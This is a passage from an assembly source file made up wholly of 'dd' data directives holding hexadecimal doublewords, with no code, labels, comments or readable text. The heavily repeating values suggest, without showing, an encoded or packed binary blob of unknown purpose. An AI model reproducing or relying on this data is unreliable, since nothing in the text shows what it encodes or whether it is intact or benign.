0A7895AF7h, 0F7656A99h, 25DBC0A3h, 592240B0h, 56D5B0B7h dd 56EA4432h, 5675B9DBh, 839F32h, 5BF4932h, 36AEB11Eh dd 9FECDE89h, 0E9A4E647h, 56B4EEC4h, 56EA4432h, 0BF75B1CAh dd 56BAB120h, 3DCD512Ah, 552D791h, 5D578EB4h, 50CF5FACh dd 56D53B76h, 56EAA5DBh, 8A360D32h, 6FBB40B8h, 24584F05h dd 0B3D0C49Bh, 91CFC92Ah, 56BF58ADh, 0F714B132h, 8B6A099Dh dd 4053F305h, 3AC9474Ah, 883B94D4h, 56AEF048h, 565A5952h dd 0F50FB132h, 8624BA1Bh, 0AF78780Fh, 0BF30C806h, 56BAB13Eh dd 5B51AC0Bh, 0B46974E9h, 0A5AAB8EAh, 4442D068h, 0D0D5B132h dd 0FEB2C513h, 97CC61BFh, 274AC1D9h, 6AC0CFEFh, 0BFAEB12Ch dd 5657B13Ch, 5B9595Dh, 4B858BEEh, 6BCB906Fh, 5675B762h dd 0E9DCD1CAh, 0D652A32Eh, 56AEB136h, 0A85B0E54h, 0BFABB153h dd 56D5B126h, 8500AC45h, 80570297h, 5AC22D78h, 0B23BAA2Ch dd 3BF380DAh, 3037B132h, 30AF1C8Ah, 36B477B9h, 0BC6BD760h dd 592F7C7Bh, 56DB668Dh, 565B5832h, 421CB132h, 6E09A307h dd 0AEABB1C7h, 5D3CB132h, 48EAB132h, 661DC7BFh, 0B8813AFEh dd 565DA04Dh, 5524BE52h, 5957B132h, 0DDCD6E85h, 56D5D0C1h dd 0AAEAB1CAh, 5F9CB132h, 0AABAB132h, 0C4B931DBh, 63811F4h dd 36AFB132h, 10F356B3h, 7764DFC6h, 0A3EAB153h, 0D77AB132h dd 56BAB123h, 565DBDDBh, 67340332h, 21BFCB4Dh, 3EBDA77Eh dd 59D5B1E2h, 56EAB0BAh, 56754D32h, 56BB303Dh, 0AEA4B132h dd 0DDA1B132h, 5657B126h, 56ABBEDBh, 0C997B732h, 7F205BBh dd 3028B1D3h, 5903D734h, 365DB1CBh, 0D8A16FB8h, 5657B133h dd 56ABD0CEh, 56D5A3DBh, 43AF6A32h, 1D4E271Fh, 0F6A12142h dd 0E5B6AB27h, 56563D1Ah, 56585832h, 92A9B132h, 30F19732h dd 0B87DA7CDh, 2B2A7411h, 0BFBAB195h, 565DB123h, 8BFB4382h dd 5C959488h, 8077FE9Ah, 9BA88C6Eh, 0A3EAB15Eh, 5915B132h dd 56BAB3BDh, 59873A32h, 56CF4B8Dh, 56475832h, 0FEFB132h dd 64372012h, 6E4C1FDBh, 2F3CB4BDh, 56BA5C72h, 5655363Dh dd 0DBA1B132h, 5657B130h, 56ABD052h, 36D5B1CAh, 9E6EAB89h dd 568DD06Dh, 56AB5832h, 0C17B132h, 0E308C473h, 7A8667Ch dd 35FBB18Ch, 56B2B2AEh, 5163BE32h, 5975B132h, 56BAB0B1h dd 565D4432h, 56AEA0DBh, 626DF932h, 0C7B34592h, 160A25B8h dd 0BEB5BB61h, 5675DC10h, 59BAB1CBh, 565DBDBCh, 5023BE32h dd 5957B132h, 56ABB1BBh, 0A3D5B132h, 5B03B132h, 0B875B132h dd 4ECA523Ch, 0B5A8A42Fh, 0E2E59E13h, 56A2B132h, 56A05832h dd 0CF80B132h, 121D78BAh, 5A8F7307h, 56BA4852h, 0AF5DB1CBh dd 5347B132h, 4657B132h, 0C45DF80Ah, 562DB132h, 368AD132h dd 8FF4D753h, 0BEDB7CDBh, 565DB134h, 0C758272Ch, 370C2CCAh dd 0DFA4B132h, 56D5B135h, 56EB3F3Dh, 5689B132h, 30E9D132h dd 9A6EE89h, 0BC2ED153h, 2D150850h, 56CA9E7Dh, 56D05832h dd 0EC96B132h, 3608409Ch, 476D3054h, 0A5D6D76Fh, 59AEB153h dd 5657B0B8h, 56AB4432h, 56D5BBDBh, 2E4A832h, 0CD5F0AEAh dd 56C0B0F2h, 0D73D4D32h, 7F68C1E3h, 0DBF3156h, 59ABB153h dd 56D5BBB9h, 0DBE5D132h, 5675B132h, 56DBE963h, 40DABE32h dd 36AEB132h, 5657B8DBh, 0B26CE632h, 5A5F0849h, 0DDE58522h dd 5675B132h, 59BAB153h, 565DB4BEh, 0DDC8D132h, 5657D0C5h dd 36ABB1CBh, 0EFB369B9h, 568B1BB5h, 56754932h, 56BAB4DBh dd 971AB932h, 0DBA1E2DBh, 5657B133h, 0A3ABB1CEh, 5A3CB132h dd 0EAEAB132h, 0BDF8B469h, 0B21DE3EEh, 5678DC69h, 56A05832h dd 36F8B132h, 0C0C6830Ch, 5342E249h, 6F88A6B3h, 5675A1DBh dd 0B0714B32h, 746DEF28h, 0F5C18B17h, 0EE7544F8h, 59ABB18Fh dd 56D5B6B2h, 5763BE32h, 0AF75B132h, 0BFBAB1CEh, 565DB126h dd 3B102579h, 0E9FB9838h, 3A9DB056h, 0FCF3BF89h, 3212A3A5h dd 469CB132h, 35BAB132h, 0E088FB4Bh, 68C0E71Dh, 0ABB07302h dd 56C56903h, 56D54932h, 32003152h, 56146BB9h, 56BD5832h dd 0A4FDB132h, 0DF0DF5D7h, 3657B1A2h, 2E493054h, 56D359A4h dd 835BB132h, 261EAE99h, 56BA3F3Dh, 3705B132h, 3652B132h dd 5654363Dh, 0E9A4B132h, 56C658F8h, 91AB132h, 57CA1E4Ch dd 1744EACDh, 0DFF5C503h, 5130F34Dh, 5657D00Ch, 56AA353Dh dd 562CB132h, 5766BE32h, 0AA75B132h, 5D53B132h, 1F5DB132h dd 5B0E5A6h, 0E396EA7Ah, 56ABBA3Dh, 56D25852h, 52FFB132h dd 0DA0C7C0Ah, 9005BEC9h, 0AE5DB153h, 56AEA1DBh, 61C6A32h dd 5AE076B6h, 0B7E8C951h, 25A9D006h, 0A375B139h, 56BABCDBh dd 42A74B32h, 9DD068Fh, 0AC280029h, 56AB6D95h, 56D5BCDBh dd 0AEC56932h, 81C6F929h, 0A1BE4BB8h, 565DCBABh, 56AEA3DBh dd 7D586432h, 300F0C29h, 924CE84Dh, 0C5445D23h, 56EA4F43h dd 56B55832h, 16EDB132h, 94CA9B88h, 132414A1h, 54715D0Fh dd 0BFD5B1F6h, 56EAB120h, 4C6D66F3h, 89A10C62h, 256760F3h dd 0D437DEE2h, 5657FEBDh, 56AA393Dh, 5620B132h, 0EC8CD132h dd 5614DC23h, 4553D132h, 315DB132h, 8242C6BAh, 0E38F4F72h dd 0ED147872h, 0D45255E1h, 0E98C020Fh, 5914C5E2h, 56BABDBAh dd 50D6BE32h, 59AEB132h, 5657B1BCh, 59ABB132h, 56D5BDB4h dd 5069BE32h, 5975B132h, 56BAB1B5h, 565D4932h, 56AF3F3Dh dd 56AEB132h, 5343D132h, 0B7D5B132h, 335FE93h, 5675A2DBh dd 0C0307A32h, 5759188h, 0FB631560h, 16BF3C82h, 677EE6F0h dd 0D9DAE06Ch, 56EAB132h, 5675D069h, 36BAB1CAh, 0BF85063Dh dd 56AEB138h, 0C4E962C7h, 6781D83Ah, 56B4815Dh, 5763BE32h dd 0AA75B132h, 0DCDAB132h, 565858DDh, 70DCB132h, 3747E5B4h dd 5652B132h, 5058BE32h, 36EAB132h, 3715A380h, 0BFBAB153h dd 565DB13Ch, 0C5F3F676h, 0FE38C81Ch, 3BB27388h, 56D54DD9h dd 0BFEAB1CEh, 5675B126h, 2A9820D2h, 0BF415BAEh, 0BC7C0AD2h dd 19C686C0h, 71282C7Dh, 36B5B132h, 372D063Dh, 5675D0C7h dd 56BAA3DBh, 70369432h, 0CCE3B35Fh, 0A771C610h, 0BCAA6157h dd 56560DFDh, 5763BE32h, 0AE75B132h, 0DFB5B132h, 565DB12Ch dd 145C3152h, 5657A5DBh, 541732h, 0F42DF14Ch, 0E1805F9Eh dd 0E42B3D74h, 2BFECE49h, 565DD0FCh, 37CEE052h, 54D3BE69h dd 0ABB132h, 56D5D06Dh, 56EB333Dh, 568CB132h, 56BA4D32h dd 565DBADBh, 51F6D832h, 0FB726BAh, 0DEB8BC66h, 59B5B132h dd 0D8E57885h, 5675B130h, 56DBD052h, 5FB44932h, 0E7AEB132h dd 7EE0DDC0h, 94765CB2h, 0AEB5B132h, 37737AB2h, 519CB132h dd 79BAB132h, 8A7D5F70h, 56AEA043h, 0A3E9E652h, 0EABD11Eh dd 56D7353Dh, 378AB132h, 0D5C5D153h, 93610A54h, 365DB153h dd 56AEBCDBh, 127A1232h, 8B68BD99h, 473B847Ah, 308A8EE4h dd 9D9573B3h, 0DE7C3054h, 563CD052h, 56AB5832h, 7DC7B132h dd 56E5D288h, 56204432h, 56FA5832h, 2A6B132h, 0DC85013Dh dd 0EEC7F2E0h, 32E737F7h, 59BEB529h, 85ABB132h, 12811B57h dd 0F8A46B82h, 4F30360Fh, 56BA1CDCh, 0A35DB1CAh, 6CEB132h dd 3636486Ah, 37D007CEh, 443CB132h, 3EEAB132h, 579F4A73h dd 85D4544Eh, 57FC6A1Bh, 56032C7Bh, 0A357B19Bh, 4642B132h dd 4ED5B132h, 0EA5DD1CCh dd 3D3E7599h, 0F32F63EEh, 568A2637h, 56AE4D32h, 6EFD752h dd 0B52AD7B5h, 56B45F91h, 56EA4D32h, 5975B1C7h, 56BABBBCh dd 0DE52D132h, 56AEB132h, 563679B9h, 0D7A4D132h, 56D5B132h dd 56EA4853h, 56743D3Dh, 564FB132h, 0D752D132h, 56AEB132h dd 56D9BE52h, 36ABB132h, 56B4D053h, 56E15832h, 3836B132h dd 21239BB3h, 17D8F5F5h, 36AEB15Ch, 375C55B2h, 0D6A4B132h dd 56D5B13Bh, 0E9B2E652h, 8359F76h, 36BAB153h, 98D6D764h dd 8D2FD76Bh, 56365928h, 56AB4432h, 56DB5952h, 0BADBB132h dd 0A8102EFCh, 88B60919h, 5950A972h, 56AE3D3Dh, 300DB132h dd 2A8B63B3h, 0AFD5B153h, 0AF12B132h, 0DE7AB132h, 56BAB138h dd 3AB53052h, 49FA7B4h, 5657D068h, 862AE152h, 75E09319h dd 8E5DBE69h, 0A375B153h, 0E5DAB132h, 0F0DD1B9h, 56AED053h dd 565B343Dh, 5142B132h, 79D5B132h, 37AFBC0h, 0DA7AFAC1h dd 56BAB135h, 565C393Dh, 5657B132h, 56574432h, 5020BE52h dd 59D5B132h, 56EAB1B3h, 5689D032h, 56B35832h, 72BB132h dd 5835D9E5h, 562EA5F4h, 5E26BE32h, 59D5B132h, 56EAB3B5h dd 5614D132h, 4532BE32h, 0BF5DB132h, 56AEB13Ch, 0C5DC35A6h dd 1CCBEEh, 41836734h, 56EA3FD3h, 8CFED752h, 0A805BE64h dd 565DD068h, 56AEBCDBh, 8501BB32h, 6DF2B023h, 4652A386h dd 56EA308Bh, 0BF75B1C7h, 56BAB13Ah, 0C4DB0D96h, 4D455392h dd 42BEB132h, 0BDABB132h, 33A51704h, 0DAA8E41Bh, 59AC3AA8h dd 1E915F5Dh, 56EB1C91h, 56A75832h, 0B057B132h, 0CC9C94C3h dd 0A3B19F76h, 56024452h, 0C75B132h, 0E3545BB3h, 0E53DB932h dd 0D7C8D126h, 36DB9DE9h, 59CAD053h, 56D5A8B3h, 56FE5832h dd 7DBAB132h, 545A2B69h, 0EC19BB0h, 2FD515F2h, 0C78D4440h dd 59CB3466h, 56D5B7BBh, 0A1193032h, 0BF492EC4h, 56BAB13Bh dd 3CC7349Dh, 5B66AD89h, 0D3DAD00Dh, 51540A5Fh, 56D5B8DBh dd 2A6CCF32h, 0FA2A1F32h, 0D4337F27h, 5E5D2FABh, 56A23A3Dh dd 0DE58B132h, 56ABB134h, 56D5333Dh, 0D467B132h, 5E74EA8Dh dd 56BABADBh, 0C3038832h, 2D1904CBh, 297218B0h, 0C80633BBh dd 0D3DAB932h, 56EAB12Bh, 23973052h, 0BF9028DBh, 565DB13Eh dd 0F105959h, 5F3F8478h, 0C61D7DDFh, 62435953h, 0DBE5B132h dd 5675B124h, 56BAA0DBh, 13341C32h, 2F0043B9h, 975528DDh dd 0CEC9F5ACh, 30B516C3h, 0DD8C7EB9h, 789DD0CBh, 0BFBAB130h dd 565DB139h, 0F39D3D83h, 7BB92861h, 91316013h, 564BB1B0h dd 56EAB13Ah, 589CD132h, 0DCBAB132h, 75C01E5Eh, 96E7EB70h dd 4D6C77DDh, 0BC2BE69Fh, 4B4EE51h, 56FD3E3Dh, 449CB132h dd 0B1BAB132h, 4196807Ch, 0AD3D690Eh, 1F86BF5Eh, 6D727E7Fh dd 33507706h, 0ED4B34h, 0EE27D9CBh, 0A94F2D9Ah, 0AC7D2487h dd 5729BE35h, 0AF57B132h, 56A15952h, 4B11B132h, 17828C1Bh dd 2A745BC9h, 79A77C8Dh, 0D852EE61h, 56AEB133h, 0D3DAD0C7h dd 515612EFh, 0D7B3D1CAh, 15C84F5h, 5675B9DBh, 6EA04132h dd 787FEAA1h, 0A9CFE8C8h, 565F58E2h, 0E024B132h, 107FCED3h dd 0D363736Bh, 518F9B07h, 56BABDDBh, 50966B32h, 0C4968203h dd 0C5683EC0h, 0AFAFDB02h, 56C5B15Ah, 56ED5832h, 0F742B132h dd 86D6D4F7h, 5B1DD9DCh, 3C5BB131h, 86A84D32h, 56A3373Dh dd 0DEDAB132h, 56EAB130h, 592FD052h, 56BAB9B2h, 54D9BE32h dd 36AEB132h, 5997BA53h, 56AB56B6h, 0B854D132h, 7E8F1807h dd 0F7A33054h, 0DF4FD016h, 56C3B1B0h, 0D427483Ah, 5E572F2Ah dd 56ABB6DBh, 9533D332h, 0C261160Dh, 5578F18Bh, 0AE314932h dd 565C323Dh, 655BB132h, 94D6D1F2h, 5D4BACC4h, 37253A54h dd 41F1BC1h, 566C373Dh, 0D3B5B132h, 565DB121h, 56AEBFDBh dd 0A29C5132h, 0A90A00B7h, 1F515309h, 596F3F68h, 5675BEBFh dd 0DDDCD132h, 565858E2h, 2520B132h, 37BE96D6h, 3E57B558h dd 56D5A132h, 56ED5852h, 0BD32B132h, 481D6DFCh, 17E6D72Eh dd 56C6D077h, 0BF57B136h, 56ABB13Eh, 0A22E0A55h, 2B011DC7h dd 0BF2864E9h, 4553B158h, 4A5DB132h, 0B0C80C0Fh, 6AAE7B7Dh dd 8F5A83E8h, 0BC0F35B7h, 0C415C978h, 518F9B07h, 56BABFDBh dd 92BDFD32h, 2AB54D5Ch, 0C59302F5h, 0C185F15h, 0E55738C7h dd 0AAE2B192h, 40FFBE53h, 0BFBAB132h, 565DB123h, 2F5BBA3Fh dd 2D240216h, 0F70B166Ch, 3787CFEAh, 566F3A43h, 0A37DB1ACh dd 56B158F1h, 0AF3BB132h, 6EE5B292h, 38717BC8h, 5A42D1BCh dd 19D5B132h, 790FAED7h, 0F87A23BDh, 91FBACDEh, 0AC5FB0B0h dd 16AEB135h, 0D4904432h, 51518477h, 56D5A132h, 56EABFDBh dd 95349132h, 867728F2h, 0CE1F184Bh, 370C22E3h, 0E53772CAh dd 37CAD12Dh, 0BFB5D152h, 56EAB13Dh, 0CF65163Ch, 0FFA61B8Fh dd 0C3A734FDh, 37C70D0Fh, 87DCD752h, 56AB3F3Dh, 37B4B132h dd 0C8EA0BB9h, 0DF7AB932h, 56BAB133h, 566232CEh, 5601353Dh dd 0D5ABB132h, 59A9A14Dh, 56D5FFB6h, 0BE6BD132h, 1837ACA8h dd 56BAB7DAh, 68837332h, 0DC69AF92h, 0D536EFF9h, 59AFA14Dh dd 56D5E9B6h, 56E75832h, 79EFB132h, 0C5F0B618h, 0F4017C5Fh dd 0D5440D5Ah, 58BEA5F5h, 0B5ABB132h, 0F275DA7h, 3E7F86E4h dd 0C450FB5Bh, 0A925586Fh, 91A84ECDh, 56AFA175h, 0D558B132h dd 56ABB123h, 56D5BDDBh, 0C5C47C32h, 192919C3h, 0F46F2F52h dd 0A99C58D5h, 30CE4ECDh, 67EE47B3h, 46EC7653h, 56D5B131h dd 56EC5852h, 85F9B132h, 0C0870655h, 0BF3C66B8h, 0A9514EADh dd 5657BADBh, 0C979FF32h, 142DD12Bh, 0A089D323h, 0D37AD0C7h dd 56BAB133h, 0BF9E4DCEh, 56AEB139h, 562F4133h, 0CD2B3778h dd 3021BD4h, 56E43E3Dh, 5F9CB132h, 0B1BAB132h, 851CA14Dh dd 34E8B4F8h, 59BE5DB9h, 0EBABB132h, 0CE9C8AFh, 0F8957431h dd 269B6EEh, 53532CD4h, 3B5DB132h, 0EFEF87FEh, 57D4BE52h dd 0A3ABB132h, 56D5B1DAh, 0BC6BEB32h, 5E750BBAh, 56B058C7h dd 2654B132h, 65F1EAFCh, 0AA8DFF3Ch, 0F66703B9h, 30B5B932h dd 0D0E57FB9h, 5675B136h, 0D5E90E54h, 57D5BE53h, 0AEAEB132h dd 0BF5FF4B9h, 56ABB138h, 61076748h, 0BC00CB43h, 50FC0448h dd 56A1333Dh, 0BF3DB132h, 56AEB123h, 36B9336Ch, 3C4C9875h dd 0D6E2EAD4h, 4FB46410h, 12AE31E3h, 9A383253h, 5255B192h dd 5E47D0CAh, 6E57B132h, 3880F40h, 9F881BB6h, 56EABADBh dd 0CCDD7E32h, 50CDB38Dh, 0AE5FF717h, 56A45852h, 0D411B132h dd 0E43A21F4h, 0E40E35D6h, 0D01CC989h, 52B7D053h, 0D7DCD132h dd 0AE3650FDh, 4547D153h, 5357B132h, 606E9910h, 0C0681C3Ah dd 872584B9h, 0B62647AAh, 0E9DAFD77h, 535385CCh, 5624BE62h dd 0C57B132h, 56AB5953h, 0D78FB132h, 5651D4D8h, 52F7BE3Ah dd 36BAB132h, 0BF3CD052h, 56AEB13Dh, 741FC5A3h, 0CA8103Fh dd 37EC8252h, 0DD4993BCh, 56D50280h, 37DAD13Ah, 37AF0E3Dh dd 0F6620309h, 0D258B932h, 56ABB0B2h, 59EB3ACBh, 56EABFBDh dd 567C5832h, 0E522B132h, 4D8DCE95h, 59450CD2h, 5657B0B1h dd 89204832h, 1963BEC7h, 56E75833h, 15A4B132h, 6E159051h dd 25CC22FCh, 0A03D6F43h, 59D7B075h, 56ABF6B7h, 56DD5832h dd 69E0B132h, 0F3353056h, 8FB90D70h, 43D6BECAh, 0BFAEB132h dd 5657B122h, 31403FDAh, 5728C62Dh, 458D9EBFh, 2018A398h dd 56BAACDBh, 50D2BE32h, 36AEB132h, 0A8DC7AB9h, 56AD5853h dd 1BF4B132h, 0A1868305h dd 0DD156819h, 59F9D0C8h, 565DB6BFh, 0A62ED132h, 37D0050Dh dd 5321BE71h, 36D5B132h, 37333A54h, 5667313Dh, 5B53B132h dd 195DB132h, 2643D49Eh, 0BF2C0590h, 6A86BA77h, 72FC34B9h dd 0BE8AB6C8h, 5675B126h, 0B9509056h, 2967A4F2h, 7758D7FFh dd 10D4F7B6h, 688A4172h, 308A5A85h, 368B6EB9h, 5673373Dh dd 0D9B5B132h, 565DB132h, 37593A54h, 62923CB9h, 6D5EB6C8h dd 1D57BEEAh, 0BFEAB132h, 5675B138h, 0A2D9D9BDh, 0B84682Fh dd 5847D677h, 8357B132h, 82FA4441h, 0D315CE25h, 0C45462C7h dd 59AC8A3Ah, 56BA90B5h, 47B44D32h, 75AEB132h, 567125A1h dd 0CF1C021Ah, 432D6888h, 2B9F7FD0h, 0AF7177B1h, 0A94412DBh dd 996649CDh, 5688353Dh, 0DFAEB132h, 0AC9F748Fh, 0D63C4435h dd 0BF154ECCh, 5675B126h, 66ED4630h, 7084F117h, 0E39D2D41h dd 5C1CF41Bh, 391E10F5h, 56D95853h, 0DA9AB132h, 0C2CAAD92h dd 310F1880h, 599EF74Bh, 56AEB0BBh, 36374832h, 12D7CBh dd 563DD019h, 0CEAB132h, 0EB3F5BB3h, 0ECDAB932h, 40A6CC37h dd 8683B63h, 56505853h, 0DAFFB132h, 0F5329976h, 591FD1F0h dd 5675B7B5h, 4B7D3032h, 37525DA4h, 0F61D0BB9h, 0EF37B932h dd 357E60C6h, 56D5393Dh, 0EF8BB132h, 5675B032h, 0BF7A82C7h dd 565DB122h, 844A71AAh, 7DD56C1Fh, 3647F23Eh, 2363DAA7h dd 0D8E51AC1h, 5675B139h, 5630BE52h, 595DB132h, 0DDCF4385h dd 56F702B0h, 512DBE3Ah, 36D5B132h, 0E9E5D052h, 0D4FCD0C8h dd 5EBA11FEh, 0D752D0CEh, 56AEB13Bh, 300CE252h, 3D068B3h dd 5C3C7253h, 0B9EAB132h, 0B40A5837h, 8269DA52h, 593D446Bh dd 56AEBCB0h, 565F5832h, 8B00B132h, 0FF3CF692h, 56028360h dd 0C75B132h, 0E8B45BB3h, 58B4B932h, 0DAAEB132h, 0D45EC6C9h dd 5A8778ADh, 0D8ED5E20h, 0D32C4889h, 518FB757h, 0DCB5D164h dd 565DB134h, 131E7EB3h, 0BE37AE22h, 56ABB13Ch, 6BB9D1FFh dd 8E891DFFh, 0BEF6E1D2h, 59E518D4h, 373C418Dh, 49C3885Ah dd 57D5BEE6h, 0A3ABB132h, 764004CDh, 0BF8AB6C8h, 5675B120h dd 0CDB80A02h, 4351B44Ah, 0D2B8AB9Ch, 4E4E168Fh, 851D634Eh dd 8B503C53h, 36ED4C91h, 5675A5DBh, 0DCF51732h, 8C32CA70h dd 1AD6EDD1h, 589129B3h, 842D4D39h, 862AD035h, 56EAB6DBh dd 3C06C532h, 7E7C7B28h, 303DD160h, 6ACB41B3h, 0E936E960h dd 6524DAC1h, 3E29E153h, 56EA3132h, 567F373Dh, 5353B132h dd 0AE5DB132h, 76F4F220h, 0AE57DBC7h, 56ABA3DBh, 91106A32h dd 0ABE369D0h, 73AE2C1h, 0EF3C04DCh, 0A91ED95Dh, 5630B180h dd 565F583Ah, 0A309B132h, 93F7A1B8h, 598A0E4Ah, 5675B4B6h dd 0DB250B32h, 0A93CCB27h, 59F644E2h, 5657B0BBh, 36F14832h dd 371B063Dh, 566AB15Ah, 567A5832h, 692EB132h, 0B92D61BCh dd 1320AB44h, 5A0CD418h, 4129BEA1h, 36D5B132h, 56EABBDAh dd 8F315A32h, 5A5E0B20h, 0C470498h, 9F658Ah, 563DD05Eh dd 0E5194ECBh, 0BFDDB192h, 56EAB122h, 9BFC2749h, 0D8CB72F2h dd 78C37A80h, 7C48AAACh, 63761CDh, 37CA446Ch, 56C03D3Dh dd 598AB132h, 5675B1B5h, 56B25832h, 524AB132h, 0B95D0880h dd 5936C641h, 56ABB6B3h, 5752BE32h, 0AAEAB132h, 0D713D1F1h dd 0BF9978E8h, 565DB13Ch, 0B81C7299h, 72C99062h, 0E1EB522Ch dd 36B4E6AEh, 56EB313Dh, 3780B132h, 5130BE67h, 595DB132h dd 56AEB0B8h, 0BADC4932h, 56ABA1DBh, 0CCC2F832h, 0C01CA496h dd 0E236256Ch, 0D26B92A8h, 0D352D144h, 56AEB133h, 565759C7h dd 0D7F1B132h, 5615B0D8h, 0AE8A443Ah, 5675BBDAh, 0DF53D632h dd 0D571379Ch, 59575C16h, 370E7885h, 36A3C4B9h, 5650BE61h dd 0DEAB132h, 37A50E3Dh, 5430BE52h, 0DD5DB132h, 37763AC0h dd 565981DAh, 56B95832h, 0E38AB132h, 2FE99F8Fh, 0A64CC198h dd 0F2B84B72h, 0D2F7C40Fh, 56AEBADBh, 73D56E32h, 0BA2B90E8h dd 31AF9D1Dh, 5A6BBE67h, 5975B132h, 56BAB7BFh, 56D9BE32h dd 0A9AEB132h, 56C928A0h, 0E1A4D13Ah, 0AEB449C5h, 56EF586Fh dd 0C7BDB132h, 6D5BC4E8h, 0D352BD47h, 0A9514E92h, 19230852h dd 2E13C2C2h, 37CA0F97h, 56E775DAh, 5EF3BE32h, 36BAB132h dd 565D3F3Dh, 36CFB132h, 0F973054h, 56A6582Fh, 6F16B132h dd 429473E3h, 0CF545463h, 3770EC4Eh, 565A5853h, 8A90B132h dd 0FCADA985h, 504278C1h, 74D5B132h, 9608AE1Eh, 567D73FCh dd 4653D1CBh, 415DB132h, 497D352Eh, 56AEB7F1h, 18D67537h dd 0D7560ABDh, 6DD35CD5h, 5920D042h, 56BABBB3h, 56585832h dd 1E50B132h, 0DD44762Eh, 0DAA4D1DEh, 56D5B134h, 0DF096EB3h dd 8FFEEDF2h, 0AA7E3253h, 1A1E7CEh, 56A25852h, 34FFB132h dd 0C810ED66h, 0D4CB442Ch, 0DD8C2B1Ch, 0AF26D0E5h, 56BAB1DAh dd 0BCDCEB32h, 5EAE7066h, 0DD31E152h, 5142EBCCh, 0FED5B132h dd 93533D45h, 59149ABFh, 56BABDBAh, 7EE3D132h, 0EDEF21C9h dd 10C8118Ch, 5C43D153h, 60D5B132h, 0E87372DAh, 0B6B79A2Ah dd 8505BEE8h, 0DF853169h, 5EDB3A53h, 56D5BE52h, 30ABB132h dd 90387FB3h, 46973A53h, 615D1CAh, 5636BE6Ah, 375DB132h dd 377C063Dh, 565F5865h, 6832B132h, 98F82CFBh, 0BFBC3F1Ch dd 5675B126h, 8E749E4Ch, 442543D7h, 2CCE3AF1h, 0D1D32141h dd 3494A9D0h, 56D5BEDBh, 17160D32h, 718DDA35h, 4DCB370Fh dd 8B640661h, 56AF2FDAh, 965C4932h, 564B353Dh, 36B5B132h dd 0D550D052h, 37258947h, 56B8333Dh, 373DB132h, 59563A53h dd 5657BBBCh, 56AE5832h, 980EB132h, 3A978FEh, 5675A2DBh dd 14332432h, 0FFB3EC8Ah, 0AB61A0CBh, 7C2636DBh, 0EAD947DBh dd 0C84C23CDh, 0DD8AB932h, 0AFFED7E5h, 0DDDAEC53h, 37AF3AEDh dd 59A2C409h, 565734B6h, 0DDA4D132h, 56D5B130h, 0D0E5E865h dd 5675B136h, 1C8F0854h, 48D6D753h, 56A9373Dh, 0D958B132h dd 56ABB133h, 0A63231CBh, 56EAA5DBh, 75C42632h, 430E75C4h dd 4774A8B4h, 8537FFADh, 2CFC1B70h, 36B53BBEh, 59B56384h dd 378B7A8Dh, 0BF8552B2h, 56BAB13Bh, 8D1DA64Dh, 0BEE1C5BCh dd 731859C0h, 0BF5EB132h, 0A92A4FC6h, 56F2313Dh, 0D07AB132h dd 56BAB120h, 565DBCDBh, 59531C32h, 896A07F1h, 86173F01h dd 2B5C8DECh, 30244CEh, 598A4EC4h, 56BAB4BAh, 0E6A1D132h dd 4547D0BBh, 0E957B132h, 7826F7D4h, 31A56961h, 618430F8h dd 1D89B2Fh, 59E1B434h, 565DA8B8h, 4447D132h, 7057B132h dd 38AB8D2Dh, 97833972h, 5E1CBED8h, 8DA324DFh, 59E5D046h dd 565DB9B1h, 5426BE32h, 3657B132h, 0BFF54953h, 56D5B137h dd 215D6086h, 0AA303A97h, 56A43D3Dh, 0D352B132h, 56AEB12Ah dd 5657A2DBh, 0F7EE2E32h, 109216F9h, 0D6F7D42Eh, 932FA7BAh dd 3E3436D2h, 5DDABEFBh, 0BFAEB132h, 5657B134h, 20A82CFDh dd 5A17F7E4h, 56E75832h, 6FCBB132h, 49EC9F74h, 5684435Eh dd 3EF6117h, 81D6D752h, 0DEA4B87Ah, 56D5B139h, 56EAB7DBh dd 32733532h, 370159ECh, 0AEB13ACBh, 0AF5675B1h, 3037E6CAh dd 0BEC03E88h, 56D5B126h, 3A8313BDh, 118BD8A6h, 79BAB295h dd 1FC4C542h, 6A5A05B7h, 37092881h, 59FA4864h, 56D5B6B9h dd 5767BE32h, 0AA75B132h, 5953E2C7h, 0AA5DB132h, 15CC8015h dd 3AAFFB58h, 0F2CF05C7h, 1312251Dh, 56EAB1CAh, 57FEBE32h dd 0AABAB132h, 0C9AD33F5h, 56AFB932h, 0EC37B132h, 71B34E1Dh dd 5EA03A53h, 56EAB8DBh dd 0DF31AA32h, 0E39F0EC1h, 0DD3B8C39h, 0DEA1D12Ch, 5657B130h dd 8FD5F86h, 566F3A53h, 36E2B1ACh, 0D6AC0E3Dh, 0AEDB73D1h dd 0AF55EEB9h, 0D2A16A39h, 5657B15Dh, 56A8383Dh, 0A3B5B132h dd 59348A53h, 5675E5B7h, 5852D132h, 915DB132h, 6CEB014h dd 0B5F18A31h, 0AEB77A7Ah, 56C658CCh, 0AEFFB132h, 5D660713h dd 981863F1h, 43AD2507h, 0F9EBE418h, 0DD31E9EEh, 0B20D0F3h dd 56D3583Eh, 0EF31B132h, 0C3ACD018h, 59B6EEBBh, 565DBDB1h dd 5027BE32h, 5957B132h, 56ABB1BFh, 42123232h, 0A96C58CBh dd 308C4ECDh, 0D643AFB9h, 0D25259C9h, 56AEB21Dh, 565F373Dh dd 30CBB132h, 549048Bh, 0AD6AD06Dh, 4EF1BEDBh, 0AABAB131h dd 59B64AB2h, 56ADBFB6h, 0ADD74932h, 982FBED0h, 59D5B130h dd 56EAB0B5h, 0ADF54D32h, 0FC3EBED1h, 365DB130h, 56AEBCDBh dd 0FFEB4C32h, 0FE5FC19Dh, 0D579C3Bh, 308BDDA1h, 0B5124AB3h dd 5425353Dh, 44B4B132h, 17AEB132h, 0D404A964h, 99579323h dd 1D95160Ch, 0F5E69F5h, 0A6923102h, 853BD752h, 0BFE3B99Ah dd 37BF6064h, 0ADD6D7CAh, 0D2A4313Dh, 56D5B391h, 410A3052h dd 593E56A1h, 56BAB1B0h, 0B5DDD032h, 0AD2E4DC2h, 0DED3BE42h dd 59ABB130h, 56D5BDBEh, 5061BE32h, 5975B132h, 56BAB1B1h dd 48D6D732h, 56A3373Dh, 5EBEB132h, 62ABB132h, 85E62339h dd 0D6B8396Eh, 589C49D1h, 41BAB132h, 0D180E148h, 0D9878E97h dd 68AAF35Eh, 0EE5031F7h, 57B0353Dh, 0D612B132h, 0D27AB40Ch dd 56BAB069h, 7B6331CEh, 57FF353Dh, 0D6A2B132h, 0D2A4D90Ch dd 56D5B075h, 0A6684ECBh, 367DB1ADh, 0D6880B52h, 59B4A680h dd 0DCAEB132h, 0DB016DFDh, 0EE42158Ch, 0D8A5F898h, 368B4771h 